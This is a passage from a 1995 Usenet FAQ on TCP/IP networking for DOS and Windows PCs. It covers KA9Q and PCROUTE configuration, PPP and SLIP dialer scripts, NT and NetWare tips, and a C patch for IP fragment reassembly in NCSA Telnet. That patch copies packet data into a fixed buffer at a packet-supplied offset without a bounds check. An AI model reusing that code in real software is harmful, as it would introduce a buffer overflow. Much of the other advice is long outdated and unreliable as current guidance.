# Dial and wait for connection.
#
dial
wait 45000 "CONNECT"
#
# Now log in.
#
wait 60000 "ogin:"
wait 1000
send "userID\r"
wait 60000 "word:"
send "password\r"

C-5 How do I get KA9Q to support BOOTP?

The CWRU NOS version has a working BOOTP client and server built-in,
and is the best version if you are looking for BOOTP support.
[Does Textwin offer full BOOTP support?]
If you are using another version of KA9Q that does not support BOOTP,
try the following:

Steven L. Johnson (mailto:johnson@TIGGER.JVNC.NET) notes:

KA9Q does have a bootp client but it is not compiled in by default.
It has a bug that truncates the returned ip address to 16 bits
which must be corrected before it will work. It also complains
about bootp servers that only support RFC 951 bootp without RFC
1084 (or 1048) vendor extensions. Other than that it seems to work
for me.

To enable the bootp client, add the following line to config.h:

#define BOOTP 1

To correct the ip address truncation problem, in bootp.c change:

Ip_addr = (int) reply.yiaddr.s_addr; /* yiaddr */
^^^^^problem
at line 188 to:

Ip_addr = (int32) reply.yiaddr.s_addr; /* yiaddr */
^^^^^^^solution

And of course, recompile.

This worked on the src1229 (1991) version and may work on the
most recent version. I did check to make sure that the bug still
exists, but I haven't rechecked whether there are additional
problems in the new version.



C-6. How do I get KA9Q to support PPP?

Here is a sample ppp configuration file:

# Set the host name
#
hostname aboba.slip.netcom.com
ip address [192.187.134.3]
#
#
#
# Configure COM3 on Interrupt 5, at 38400 bps with
# MTU = 1008
#
attach asy 0x3e8 5 ppp pp0 8092 1008 38400 c
dialer pp0 dialer.ppp
ifconfig pp0 netmask 255.255.255.252
ppp pp0 trace 2
ppp pp0 quick
ppp pp0 lcp open
ppp pp0 ipcp open
#
#
#
route add default pp0
# route all packets over pp0 by default (pp0 is the route to
# the Internet)
#
# Time To Live is the maximum number of hops a packet can take
# before it is thrown away. This command prevents an inadvertent
# infinite loop from occuring with packets in the network.
#
ip ttl 255
#
#-------------------------------------------------
#
# The Maximum Segment Size is the largest single transmission that
# you care to receive. An mss of 216 will force folks to send you
# packets of 256 characters or less (counting the overhead).
#
tcp mss 576
#
#-------------------------------------------------
#
# The Window parameter establishes the maximum number of bytes that
# may be outstanding before your system expects an ack. If window is
# twice as big as mss, for example, there will be two active packets
# on the channel at any given time. Large values of window provide
# improved throughput on full-duplex links, but are a problem on the
# air. Keep mss &lt;= window &lt;= 2*mss if you're on the air.
#
#
tcp window 6888
#
#-------------------------------------------------
#
# This entry will open net.log in the \spool directory and will
# record the server activity of your system. If you don't want a log,
# comment out this line; if you do, make sure you have a \spool
# directory!
#
log \spool\net.log
#
#-------------------------------------------------
#
# Each of the servers (services you will provide) must be turned
# on before they will be active. The following entries turn all
# of them on. To turn any function off use the command "stop" after
# NET gets fired up, or just comment out the line here.
#
start ftp
start echo
start discard
#start telnet
start smtp
#
isat on
#
domain addserver 192.100.81.101
domain addserver 192.100.81.105
smtp gateway 140.174.7.1
#
#
# Display Name and IP Address
#
hostname
ip address
#
# THE END

dialer.ppp file:

# Configuration section.
#
configure:
init "ATZ\r"
dial_cmd "ATDT"
ld_code ""
number "15108658169"
retries 5
#
# Execution section.
#
execute:
#
# Toggle DTR.
#
control down
wait 2000
control up
wait 2000
#
# Initialize the modem.
#
init
wait 3000 "OK"
#
# Dial and wait for connection.
#
dial
wait 45000 "CONNECT"
#
# Now log in.
#
wait 60000 "ogin:"
wait 1000
send "userID\r"
wait 60000 "word:"
send "password\r"

C-7. How do I get KA9Q to support SLIP dialin?

If you are willing to settle for little or no security, there is not
much you have to change to allow a KA9Q system to receive calls, as
opposed to originating them. These should include:

1. Setting the system to autoanswer, via use of the ATS0=1 command to
the modem.

2. Setting up a trace on the router end, to figure out if it's working,
via the command:
TRACE &lt;interface&gt; 1011, where &lt;interface&gt; = sl0 for SLIP, or another
value such as LAN or ether0 for the Ethernet interface. It's probably
a good idea to put a trace on all interfaces until the system is
shaken down.

Note that without addition of a special dialing script, this setup
is completely insecure!

For more details, see the FAQ posting enclosed below:

DOS Slip Server HOW-TO using ka9q
May 11, 1994
Bob Sanford
mailto:sanford@aurora.bld189.jccbi.gov
mailto:bob_sanford@mmacmail.jccbi.gov

This paper will attempt to help an individual interested in turning a
DOS machine with ethernet and internet IP address into a dial-in slip
server. This paper is based on my experiences tying to configure my
machine for just this purpose. Although I am not an expert by any
stretch of the imagination, I have learned a little from this
experience.

My configuration is a AST 486/66 Premmia running with 8 meg ram, 3C509
Etherlink III network card, U.S. Robotics 14.4k modem on the server
side. Gateway 486/33 with 4 meg ram, Zoom internal 14.4k modem on the client
side.

Server side

1. First acquire two IP addresses (or one if you already have one).
The addresses must be in the same domain i.e. 123.123.123.xxx and
123.123.123.xxy. These numbers will be assigned by you system admin.
Be sure that you set up names if your site has a name server. Once
again your sysadm can help here.

2. Get the needed software. I will place the needed software on my
machine for anonymous FTP under slip_server. The address is
ftp://aurora.bld189.jccbi.gov/ (162.58.16.196). Some of this software is
shareware, so be sure to read the agreements. Here is a list of the
needed files from aurora:

Required nos11b.exe
nos11b.map
autoexec.nos
autoexec.bat
sliplog.zip
slippr13.zip
winsock.zip (you probably have this)
sliphow.txt (this document)

optional config.sys

You will also need a packet driver for your network card. The one you
use with winsock should be o.k.

3. Create a dir named nos and place all the files there. Then under
the directory nos, create another dir called slip. Place the
sliplog.zip and slipper.zip files in there and unzip them.

4. Edit the comlog.xxx files as outlined below:
comlog.msg - place your clients Ip address there.
comlog.pwd - The order has meaning. 1st name listed is sysop, he
has special powers! Read manual for more info. The second is guest.
The third is where I put my mine. The first entry on one line is your
password and will be what you type at the Login prompt when signing in.
The number indicates amount of minutes available each day. I set mine
to 1440 ;)
comlog.log - This is just a log file that shows who and when
access was made to your system.

4. Edit the autoexec.nos file inserting your Ip address and ethernet
address where noted. Save this file and place it in your ROOT (i.e.
c:\) dir. Be sure that you make all changes outlined in the beginning!

5. Create a boot disk in your favorite dos format and place the new
autoexec.bat on this disk. Be sure that everything points to the proper
place. The config.sys is nothing different. I'll include mine just for
your info.

6. Boot using your slip boot disk. If all goes well you will be
presented with:

Keyboard locked
enter password:

If you get this, and the auto-answer light on the modem is lit, all went
well, on the server end.

Go ahead and enter the password and play around with nos. Try to telnet
etc, to make sure it is configured properly. Once your happy, type lock
to lock the keyboard.

If you fail to get this message, double check all your paths and where
they point to. I also had problems with my vectors, make sure that they
are consistent through out the set up. If you still have problems,
contact me and we'll work together and try to solve it.


C-8. Can I use KA9Q as a packet filter?

Yes! Both the TextWin Large and CWRU NOS versions support this. You can
filter by incoming or outgoing, TCP or UDP port number, IP address, SYN
bit on, etc. For information, see the file filter.txt included with both
distributions.

C-9. Can I use KA9Q as a BOOTP server?

[Anyone know the answer to this?]

C-10. Where can I get a manual for KA9Q?

A detailed manual for KA9Q can be downloaded using this bookmark:

host: cases.pubaf.washington.edu
port: 70
type: 1
path: 1c:/manual
URL: gopher://cases.pubaf.washington.edu/11c:/manual

C-11. Is there any way to stop KA9Q from listening to ICMP redirect
packets? RIP packets?

Yes! Assuming you get the Textwin large version, you can use the IP Filter
capability as follows:

ip filter pp0 permit in icmpxrd !192.187.157.0/24 192.187.157.0/24

The ICMPXRD refers to all ICMP packets other than redirects; as a result,
this command will allow all ICMP packets in the pp0 interface which
have a source address outside the 192.187.157.0 network, and which are
destined for the 192.187.157.0 network.

Using similar logic, you can kill RIP packets from non-trusted source
addresses.

C-12. Will KA9Q route sourcF-routed packets? If so, is there any way to
turn off this (rather undesirable) behavior?

It looks to me like KA9Q will route sourcF-routed packets, and it appears
that there is no way to turn this off, other than modifying the source code.
The IP FILTER capability included in the TextWin large implementation, available
at ftp://ftp.demon.co.uk doesn't offer anything to ameliorate this.

[Confirmation, anyone?]

C-13. I'm trying to use the TextWin version of KA9Q as a SLIP router
and it isn't working. What's wrong?

I use Textwin for PPP routing (see the config files) and it works
great. The problem is that SLIP support is no longer compiled in by
default. So you have to get the source code, change this, and recompile.

D. PCROUTE Questions

D-1. How do I get PCROUTE set up?

Some hints:

1. Use PCROUTE version 2.4 (see Resource Section for location)
2. Put the packet driver on Interrupt 0x60; it won't look for it in
another location.
3. PCROUTE cannot handle variable length subnet masks.
4. Use KA9Q instead; PCROUTE does not give error messages if it hangs,
and does not support packet filtering.

However, beyond all this I question why anyone should prefer PCROUTE to
KA9Q, particularly considering the DIS version's IP filtering capability
and PPP support. In my opinion, the DIS KA9Q is superior to PCROUTE
[any of you out there who disagree, please pipe up!]

Similarly, PCBRIDGE has been superceded by KARLBRIDGE.

D-2. I want to use WFW TCP/IP-32 to contact a host over a serial link,
but have no SLIP or PPP driver. Also, my provider has me setup for only
one machine. What do I do?

One somewhat convoluted approach is to use KA9Q or PCROUTE as a router,
turning off RIP, and using CSLIP. Wait: you said your provider couldn't
support that, right? Well, since CSLIP does not do address
negotiation, your provider will not know what is on the other end.
What they will know how to do is to route packets to that CSLIP interface
based on your IP address. So as long as your TCP/IP-32 machine has the
IP address assigned to it, uses the router as its default route,
and the router has the CSLIP interface as its default route, you'll
be ok. The host on the other side will not know that there is an
intervening machine, since the packets will bear the source address of the
TCP/IP-32 machine, and will be sent along with SLIP framing as required.

D-3. How do I get PCBRIDGE to use a SLIP or PPP driver?

To get this to work, use an Ethernet simulation driver, such as EtherSLIP,
SLIPPER, CSLIPPER, or EtherPPP. For the curious, this works by having the
driver snarfing ARP packets without passing them through, and stripping off
the Ethernet header before adding SLIP framing to the IP packet and passing
it on. You can invoke CSLIPPER in Ethernet simulation mode as follows:


D-4. Can I get PCROUTE to switch off RIP?

Yes. This is a PCROUTE configuration option.

E. Windows NT

E-1. Does Windows NT support OSPF or RIP? What can I do to get around this?

No, it doesn't. However, it does support ICMP redirects, so you can use this to
establish your routing table.

E-2. Why shouldn't I try to install Trumpet Winsock on NT?

Because NT already has a built-in TCP/IP stack that is faster and more capable. If
you need to do dialout, use RAS.

E-3. Where can I find out more about SMB? What ports does it use?

The group comp.protocols.smb discusses the Server Message Block (SMB)
protocol.

F. Hints for particular packages

F-1. How do I get DesQView X to run over the network?

V1.0 of DesQView X did not include a TCP/IP protocol stack.
Surprise! It required a TCP/IP implementation such as Beame & Whiteside,
PC-NFS, FTP's PC/TCP, or Novell LWP. They've corrected the situation
in subsequent revisions. Contact QuarterDeck for assistance.

[pricing and availability, anyone?]

F-2. Why is NFS so slow compared with FTP?

NFS usually runs over RPC via UDP, rather than utilizing TCP. NFS only
acknowledges a write request when the disk completes; there
are no sliding windows as in TCP. This makes NFS fairly inefficient.

Frances K. Selkirk (mailto:fks@vaxeline.ftp.com ) notes:

"There are NFS implementations that use TCP. They are only
faster over WANs. UDP is faster over most normally functioning LANs.
The lockstep paradigm is inherent to NFS, but some implementations
provide the ability to violate it - a speed win when the net is
reliable, a loss when it is not.

Whatever the transport, NFS will have more overhead than TCP, because
it is trying to transparently imitate an OS, and has to do a lot of
shuffling and translating."


F-3. Where can I get information on running NetWare and TCP/IP
concurrently?

The bit.listserv.novell group regularly posts a FAQ
which includes information on concurrent use of TCP/IP and Novell
IPX.

F-4. What NetWare TCP/IP NLMs are out there and how do I get them
to work?

A public and known to work reliable TFTP and BOOTP daemon for NetWare
OS 3.1x/4.0x and NetWare/IP are available from
ftp://ftp.novell.de/~/pub/netwire/un...er/bootpd.exe.
Contact: mailto:dirk@rhein-main.de

F-5. How do I get a telecom package supporting Int 14h redirection
to work?

INT 14 is the BIOS serial port interrupt. "Int 14h redirection" means
that Interrupt 14 is redirected to a Telnet connection to a
particular host. This is useful because it allows a communications
application to readily support telnet. Int 14h support is becoming
increasing common, with vendors such as Mustang (QMODEM Pro) and
Procomm Plus for networks having included this feature.

Aside from commercial stacks (such as FTP's PC/TCP),
try the TCPPORT program in WATTCP, available via
ftp://dorm.rutgers.edu/pub/msdos/wattcp/apps.zip. However, I have
tried to get this to run with QMODEM Pro and found that I didn't
have enough RAM.

FTP's PC/TCP includes a program called tnglass that supports Int 14h
redirection.

F-6. I am having trouble running Netmanage Chameleon apps along with
WFW TCP/IP-32. What do I do?

The problem is that you have two WINSOCK.DLLs installed, and when
you bring up a NetManage Chameleon app, it attempts to load NEWT.
To get around this problem, on starting up WFW, you need to run a
TCP/IP-32 application such as Telnet or FTP. Once you do this, if
you run a Chemaleon app, it will default to the Microsoft WINSOCK.DLL
and everything will be fine.

F-7. How do I get Windows For Workgroups to work alongside NetWare?

The easiest way to do this is to first install Novell with ODI
drivers, then install WFW v3.11. This version can run over ODI drivers,
and will install itself so as to be compatible with NetWare.

Another option is to use ODINSUP from Novell. This is an NDIS over
ODI shim. This allows you to run software requiring ODI drivers, as well
as software requiring NDIS drivers. Since IPX and TCP/IP are different
protocols, you will not need to run PKTMUX.

F-9. How come package X doesn't support the AppleTalk packet driver?

An AppleTalk driver is available as appletlk.com as part of the Crynwr
driver set. NCSA Telnet 2.3.03 and NuPOP support it, but very few other
applications do, including Trumpet Winsock. This is because AppleTalk
corresponds to packet driver class 5, while most applications only
support Class 1 (Ethernet).

Vendors with Windows Sockets implementations that support AppleTalk include
FTP Software's PC/TCP. WinQVT/Net's built-in TCP/IP stack version is also
rumored to be due to support AppleTalk in a future release.


F-10. NCSA Telnet doesn't reassemble fragments. What should I do?

Yell at the folks at NCSA to fix the problem, and to notify all
the people who are using the same TCP/IP code to insert the fix in
their software as well. This problem is really common, and
very annoying, and affects NCSA Telnet as well as PC Gopher III,
and POPmail. One possible workaround is to set the MTU to 576,
but this will not always work.

The following solution has been provided by Matthew T
Kaufman (mailto:matthew@echo.com):

How to get rid of the message:
"IP: fragmented packet received, frags not supported"
(assuming you have a C compiler and source code)
by Matthew T Kaufman

Many people on the net have complained that NCSA Telnet
(among other useful PC TCP/IP programs) doesn't properly handle
fragmented IP packets. this problem becomes especially evident if
any of your packets are arriving over SLIP connections.
I figured that the fastest way to get it to work would be to go
ahead and do it myself rather than wait for it to get to the
top of the list of desired features.

MANY other programs have used the NCSA TCP/IP implementation, so
if you maintain a program which does, PLEASE add this fix.
I (and MANY OTHERS) are unable to use your software until you do.

I posted the basic form of this fix around the beginning of the year,
but it didn't seem to make it into several subsequent versions of
related software, so I am posting and mailing this once again, in
a revised form, with helpful hints at the end.

I request only the following in return:
This software revision is in the public domain. It may be
used anywhere without further permission from the author.
Please credit the origin of the fix in your release notes
or bug fix document. (I am "Matthew Kaufman, matthew@echo.com")
If you are the official maintainer of a software package
which you have added this fix to, please send me an
email note letting me know that the fix made it in.
(So I don't need to worry that, for instance, the next
version of NCSA Telnet or WinQVT/Net isn't going to
include this) And, please add this fix as soon as possible.

So here's my fix:

The following are the changes to the NCSA Telnet TCP/IP engine to add
support for IP fragment reassembly. I also know how to make telnet compile
properly under Borland C without running out of space in DGROUP (see the end of this)

if you have any questions, you can reach me at:
matthew@echo.com. I am willing to help, within the limits of my schedule.

changes follow:

file: engine\ip.c (the only file that needs to change)

delete the following:
&gt;/*
&gt;* We cannot handle fragmented IP packets yet, return an error
&gt;*/
&gt;
&gt; if(p-&gt;i.frags &0x20) { /* check for a fragmented packet */
&gt; netposterr(304);
&gt; return(1);
&gt; }

----------
after the line:
&gt; iplen-=hlen;

but before the lines:
&gt; /*
&gt; * check to make sure that the packet is for me.


add this:

/* check for fragment and handle. note that the &0x20 above is WRONG */
if(p-&gt;i.frags) /* NOW check for a fragmented packet - mtk add*/
{
ipfraghandle(p,iplen); /* pass in computed iplen to save time */
return(1);
}

----------
and then, at the end of that file (ip.c) add this:

/*
* IP Fragment Reassembly Hack
* by Matthew T Kaufman (matthew@echo.com)
* 1/1993, 8/1993
*/

typedef struct ipb {
DLAYER d;
IPLAYER i;
uint8 data[4104]; /* "Big Enough" */
}FIPKT;

#define IPF_CHUNKS 513 /* 4104 / 8 */
#define IPF_BITWORDS 18 /* 513 / 32 round up + 1*/
#define IPF_BUFFERS 7 /* Max # of different fragmented pkts in transit */

typedef struct {
FIPKT pkt;
unsigned long bits[IPF_BITWORDS];
int lastchunk;
unsigned long lasttime;
unsigned int iplen;
}FPBUF;

static FPBUF far Frag[IPF_BUFFERS];

ipfraghandle(IPKT *p, int iplen)
{

uint16 fraginfo;
uint16 foffset;
uint16 iden;
FPBUF far *buf;
int i;

fraginfo = intswap(p-&gt;i.frags);
foffset = fraginfo & (0x1fff);
#define morefrags (fraginfo & (0x2000))

iden = intswap(p-&gt;i.ident);

/* we already KNOW that this IS fragmented */
/* see if we can find any friends who've already arrived... */

buf = (FPBUF *) 0L;
for(i=0; i&lt;IPF_BUFFERS; i++)
{
if(p-&gt;i.ident == Frag[i].pkt.i.ident)
{
buf = &(Frag[i]);
goto foundfriend;
}
}
/* otherwise, we must be the first one here */
{
long oldtime = 0x7fffffff;
int oldest = 0;

for(i=0; i&lt;IPF_BUFFERS; i++)
{
if(Frag[i].lasttime == 0) /* unused buffer? */
{
buf = &(Frag[i]);
goto foundempty;
}

if(Frag[i].lasttime &lt; oldtime) /* track LRU */
{
oldtime = Frag[i].lasttime;
oldest = i;
}
}

/* if we're here, we need to reuse LRU */

buf = &(Frag[oldest]);

foundempty: ;
/* initialize new buffer */
/* time will be filled in later */

for(i=0; i&lt;IPF_BITWORDS; i++) buf-&gt;bits[i] = 0L; /* reset */
buf-&gt;lastchunk = 0; /* reset */
/* fill in the header with the current header */
movmem(p,&(buf-&gt;pkt), sizeof(DLAYER) + sizeof(IPLAYER) );
}


foundfriend: ;

/* now, deal with this specific fragment... */
/* copy data */
movmem(&(p-&gt;x.data),&(buf-&gt;pkt.data[8 * foffset]),iplen);
/* update rx chunks information */
for(i=foffset; i&lt;= (foffset+(iplen / 8)); i++)
{
buf-&gt;bits[i/32] |= (unsigned long) (1L&lt;&lt;(i % 32));
}

if(!morefrags)
{
/* now we can tell how long the total thing is */
buf-&gt;iplen = (8*foffset)+iplen;
buf-&gt;lastchunk = foffset;
/* actually, lastchunk is more than this, but it */
/* IS true that we only need to check through */
/* this foffset value to make sure everything has */
/* arrived -mtk */
}

/* now touch the time field, for buffer LRU */
buf-&gt;lasttime = clock();

/* check to see if there are fragments missing */

if(buf-&gt;lastchunk == 0)
{
/* we haven't even gotten a fragment with a cleared MORE */
/* FRAGMENTS flag, so we're missing THAT piece, at least */
return 1;
}
for(i=0; i&lt;= buf-&gt;lastchunk; i++)
{
/* scanning to see if we have everything */
if(0 == ((buf-&gt;bits[i/32]) & (unsigned long)(1L&lt;&lt;(i % 32))) )
{
return 1; /* still waiting for more */
}
}

/* otherwise, done waiting... use the packet we've gathered */
/* first clear stuff from fragment buffer: */
buf-&gt;lasttime = 0L; /* mark as free to take */
buf-&gt;lastchunk = 0; /* need to do this, because we use it as flag */
buf-&gt;pkt.i.ident = 0; /* so we don't find this later */
buf-&gt;pkt.i.frags = 0; /* in case anybody above us checks */
/* then send it on its way... */

if(!comparen(nnipnum,p-&gt;i.ipdest,4)) { /* potential non-match */
if(comparen(nnipnum,junk,4) && p-&gt;i.protocol==PROTUDP)
return(udpinterpret((UDPKT *)p,iplen));
return(1); /* drop packet */
} /* end if */

switch (buf-&gt;pkt.i.protocol) { /* which protocol */
case PROTUDP:
return(udpinterpret((UDPKT *)&(buf-&gt;pkt),buf-&gt;iplen));

case PROTTCP:
return(tcpinterpret((TCPKT *)&(buf-&gt;pkt),buf-&gt;iplen));

case PROTICMP:
return(icmpinterpret((ICMPKT *)&(buf-&gt;pkt),buf-&gt;iplen));

default:
netposterr(303);
return(1);
}

}

*** helpful hint:

if you run out of space in DGROUP, its because your compiler doesn't
place each 'far' data object in its own segment. To make things work,
you need to make the raw packet buffer be in its own segment.
Here's how:
in include/pcdefs.h search for:

--&gt; unsigned char far raw[17000];

(the 17000 might be some other number... smaller, if someone tried to
fix this before)
and change to

--&gt; unsigned char far raw[17000]={0,0}; /* force into own segment */

F-11. I am trying to configure a Macintosh to set its parameters automatically
on bootup, but it isn't working. What's wrong?

MacTCP has several bugs that can make it difficult to do automatic configuration.

If you are trying to configure the default gateway by sending RIP packets
to a Mac, you may have problems. While MacTCP can use RIP to configure
the default gateway, it has a bug in that it will not choose the lowest
advertised hop count, as it should. Instead, it uses the first RIP packet
that comes along.

But wait, there's more. When booted in "dynamic" mode, MacTCP puts out an
ICMP Address Mask Request. This method of determining the network mask is
often unsupported by other hosts. For example, my UNIX machine does not
respond to these packets, and neither does KA9Q; some UNIX implementations
such as System VR4 may return the wrong answer. As a result, my advice
is not to automatically configure the subnet mask this way.

But wait, there's more. When booted in "server" configuration mode off
a LAN, MacTCP uses a buggy version of BOOTP. So if you send it a list of
gateways, it will just use the first one sent, even if it is down and one
of the others is up.

F-12. I've heard that DHCP is a potential security risk. Is this true?

No, it isn't. The concern relates to the use of dynamically allocated
addresses, not DHCP per se. BOOTP allows configurations to be stored
in a table, so that you know that student 337.ip.berkeley.edu
corresponds to Ralphie Root, in case they do something nasty.
However, in addition to dynamic address allocation from a pool,
the DHCP protocol supports reservation of certain IP addresses for
various MAC addresses, as well as automatic assignment, where an
address is dynamically assigned the first time, then continues to
be assigned to the same host after that. The result is that going
to DHCP won't lose you any flexibility.

Some services, such as FTP servers, will have problems with dynamically
allocated addresses if DNS records are not properly setup for them. To do
this, a given address must have a PTR record to an FQDN, and that FQDN must
also point back to the address. This can be done by creating PTR and A
records for all the addresses in the pool.

F-13. What is TIA?

TIA is a program that can be run on a UNIX shell account, which allows you
to run graphical applications such as Mosaic as though you were connected
over a SLIP link. You can therefore use TIA with stacks such as Trumpet
Winsock, Chameleon, etc.

TIA does not require root permissions, so it can only use ports 1024+,
and therefore using it you can only run client applications, not
server apps.

To use TIA, your provider must offer an "8-bit clean" environment. This is
*not* the same as 8-N-1 communications parameters, since even if you are
using this, some characters may still cause problems.

Many Internet service providers (such as Netcom) now officially endorse TIA
for use on shell accounts. While right now only SLIP is supported, support
for CSLIP and PPP is reportedly in the works.

For information on TIA, check out:
http://marketplace.com/
ftp://marketplace.com/tia/
ftp://marketplace.com/tia/docs/


F-14. What PC TCP/IP implementations support recent advances?

Here is a list of vendors supporting various advances:

Long Fat Pipes:
T/TCP:
TOS queuing:
Path MTU discovery (UDP):
Path MTU discovery (TCP):
OSPF:
Round-robin DNS:
DHCP client: FTP Software, Microsoft TCP/IP-32, NT
NFS over TCP:
SNMP Agents: Chameleon, FTP Software, Windows NT

[Vendors out there, please pipe up if you support one or more of these!]

F-15. What network adapters have on-board SNMP agents?

This is by no means a complete list, but the following vendors are known to
support this:
MasterLAN ISA by UB Networks, Inc. 800-777-4LAN.
ProNIC LAN10MM by Zenith Electronics Corp. 800-788-7244.

F-16. What is the easiest way to get WFW and Novell to coexist?

Before installing WFW v3.11, install Novell on the machine using an
ODI driver. Then install WFW, and after that, the TCP/IP-32 protocol
stack. The installers will automatically detect the present of
Novell Netware, and will complete the setup for you, usually without
a hitch. WFW v3.11 can talk directly to ODI drivers, so you will
not need ODINSUP.

F-17. I'm trying to use packet driver software alongside WFW v3.11 and
am having a hell of a time. What should I do?

Your problem is probably that you are trying to run NDIS v3.0 drivers
alongside DIS_PKT. This will not work. What you need is Dan Lanciani's
NDIS3PKT.386, a VxD packet driver over NDIS shim. See part 2 for
details on how to get this.

F-18. What proxy software is available for those concerned about security?

WS_FTP can act as a proxy client to some ftpd version. Does anyone know what
the appropriate server side is? Mosaic has also reportedly been "socksified."
Any further details on this?

Information on proxies is available at tns.com.

F-19. How do I mount ftp.microsoft.com using File Manager?

This is a really cool thing, since it is a lot faster than most graphical
FTP applications, and is easy to do. Be aware that for this to work, you
must *not* be behind a firewall.

1. Edit the WIN\LMHOSTS file to include the following line:
198.105.232.1 FTP

2. Set Microsoft TCP/IP up to "Resolve using LMHOSTS file"

3. Open the File Manager, and select Connect Network Drive from the Disk
Menu. Type: \\FTP\DATA to the path to mount the FTP server area in the File Manager.
Do *not* check the box saying "Reconnect on startup"

4. Copy files.

5. Select Disconnect Network Drive from the Disk menu.

F-20. I am having problems connecting to a Windows NT PPP server. What
should I do?

On Windows NT you are probably using CHAP as the authentication protocol
within LCP. Try using PAP authentication instead on both client and server.
This can be accomplished by unchecking "Require encrypted authentication,"
which is the default setting.

If this still doesn't work, you may be having problems in the IPCP
negotiation. Leaving the remote and local IP addresses set to 0.0.0.0
may solve the problem, allowing these parameters to be set by the NT
server.

F-21. When should I use COMT?

COMT is a "Telnet modem" that can be used to allow any communications
program to use Telnet. Since COMT acts like a modem, you can telnet
to a site using commands such as ATDTwell.com (to dial The WELL).

Why should you care about this?
a. If you want to do an XMODEM, YMODEM, or ZMODEM transfer over
Telnet. For this to work, your Telnet implementation will need
to negotiate a binary (8-bit) channel.
b. You want to use RIP or ANSI graphics. Via COMT you can use
a program such as QMODEM Pro to login to that RIP BBS.
c. You need to dial in to CompuServe or AOL over the Internet.
Using COMT you can fool the standard versions of these programs
into dialing in over the Internet.

F-22. What version of POP should I be running alongside Eudora?

A lot of people (including me!) run the June 1991 1.83 beta of POP
called popper, available via:
ftp://ftp.CC.Berkeley.edu/pub/pop/solaris2/popper.tar.Z

This generally works ok, but there are newer versions out there. These
include:

ftp://ftp.qualcomm.com/quest/unix/se...2.1.3-r5.tar.Z
(Qualcom POP server)

ftp://ftp.cac.washington.edu/imap/imap.tar.Z
(ipop3d, part of the IMAP distribution)

F-23. How do I use Netscape to read local files?

To use Netscape without a network, you will need the following file:
ftp://ftp.mcom.com/netscape/unsuppor...ows/mozock.dll
Install this as winsock.dll; you will then be able to run Netscape to
view local files.

F-24. I want to run an NNTP server under OS/2. Does such an animal exist?

Apparently yes. There is an OS/2 native appliation called changi01.zip
that uses inews and UUPC to connect to a news server. This runs under
OS/2 v3.0, and IBM TCP/IP v2.0.

G. Information for developers

G-1. What publicly distributable TCP/IP stacks are there that I can
use to develop my own applications?

In writing an application, you can use device drivers provided by
particular vendors, or you can opt for an Application Binary Interface (ABI)
that supports multiple TCP/IP protocol stacks, such as Winsock. For a given
version of Windows, Winsock is an ABI for both Windows 3.x and Windows NT
(via the NT Win16 subsystem).

Device drivers are included with PC-NFS and Beame & Whiteside's
BW-TCP. Free examples of ABIs are the WATTCP API, the NCSA API
(public domain), the Trumpet ABI from Peter Tattum, and the NuPOP ABI.

All major TCP/IP vendors have by now implemented Windows Sockets.

G-2. Where can I get a copy of the Windows Sockets FAQ?

A separate developer-oriented FAQ file about Windows Sockets created
by Mark Towfiq is available on
ftp://SunSite.UNC.EDU/pub/micro/pc-s...ws/winsock/FAQ
and ftp://Microdyne.COM/pub/winsock/FAQ

An alternative source for the FAQ is ftp://ftp.microsoft.com/

G-3. How do I do multicasting using Windows Sockets?

Information on use of multicasting is available via:
ftp://ftp.microsoft.com/bussys/WinSo...t/MULTCAST.TXT
and
ftp://ftp.microsoft.com/bussys/WinSock/ms-ext/winsock.h


------------------------------ END OF PART 2 ------------------------

Please send comments to:

Bernard Aboba
Author of:
The Online User's Encyclopedia, Addison-Wesley, 1994
The PC-Internet Connection, Publisher's Group West, due in 1995
mailto:aboba@netcom.com
FTP archive: ftp://ftp.zilker.net/pub/mailcom/
WWW page: http://www.zilker.net/users/internaut/index.html

From: aboba@netcom.com (Bernard Aboba)
Subject: comp.protocols.tcp-ip.ibmpc Frequently Asked Questions (FAQ), part 3 of 5
Expires: Fri, 12 May 1995 00:00:00 GMT
Followup-To: poster
Keywords: TCP/IP, IBM PC, SLIP, PPP, NDIS, ODI
Organization: MailCom
Reply-To: aboba@netcom.com
Newsgroups: comp.protocols.tcp-ip.ibmpc,comp.protocols.tcp-ip,alt.winsock,comp.os.ms-windows.networking.tcp-ip,alt.answers,comp.answers,news.answers
Approved: news-answers-request@MIT.Edu
Summary: Frequently Asked Questions (and answers) about TCP/IP on
PC-Compatible Computers

Archive-name: ibmpc-tcp-ip-faq/part3

comp.protocols.tcp-ip.ibmpc:
FAQ Posting, part 3, 4/1/95

########## QUICKIE Guide to Useful Stuff ##########

Drivers

Packet drivers: ftp://oak.oakland.edu/pub/msdos/pktdrvr/pktd11.zip
ftp://oak.oakland.edu/pub/msdos/pktdrvr/pktd11c.zip
Packet specs: ftp://ftp.ftp.com/pub/packet-d.ascii
NDIS specs: ftp://ftp.ftp.com/support/pub/ndis/ndis-mac.v10
ftp://ftp.ftp.com/support/pub/ndis/ndis-mac.v20
NDIS drivers: ftp://ftp.ftp.com/support/pub/ndis/
ODI driver info:
ftp://sjf-lwp.novell.com/anonymous/dev_docs/lan_drv/
ftp://netlab2.usu.edu/odi
ODI Protocol stack info:
ftp://sjf-lwp.novell.com/anonymous/dev_docs/pstacks/
Slipper: ftp://ftp.utas.edu.au/pc/trumpet/slipper/slipper.zip
PKTMUX: ftp://ftp-ns.rutgers.edu/pub/msdos/wattcp/pktmux12.exe
EtherPPP: ftp://merit.edu/pub/ppp/pc/etherppp.zip
GoSLIP: ftp://ftp.cdrom.com/.5/cica/winsock/goslip2.zip
ODIPKT: ftp://newdev.harvard.edu/pub/odipkt/odipkt.com
Config file: ftp://newdev.harvard.edu/pub/odipkt/net.cfg
Readme file: ftp://newdev.harvard.edu/pub/odipkt/readme

TCP/IP Stacks

Microsoft TCP/IP-32:
ftp://ftp.microsoft.com/peropsys/windows/Public/tcpip/

Trumpet Winsock:
ftp://biochemistry.bioc.cwru.edu/pub...sk/winsock.zip
ftp://ftp.utas.edu.au/pc/trumpet/winsock/winsock.zip
ftp://biochemistry.bioc.cwru.edu/pub...sk/winapps.zip
ftp://ftp.utas.edu.au/pc/trumpet/winsock/winapps.zip

Chameleon sampler:
ftp://ftp.netmanage.com/pub/demos/sampler/sampler.exe

Web browsers:

BookLink: ftp://ftp.booklink.com/lite/netlite.exe
Netscape:
ftp://ftp.digital.com/pub/net/infosys/Mosaic-Comm/
ftp://lark.cc.ukans.edu/Netscape/
ftp://ftp.meer.net/pub/Netscape/
ftp://src.doc.ic.ac.uk/packages/Netscape/
ftp://unix.hensa.ac.uk/pub/mosaic.comm.corp/
ftp://archie.au/pub/misc/netscape/
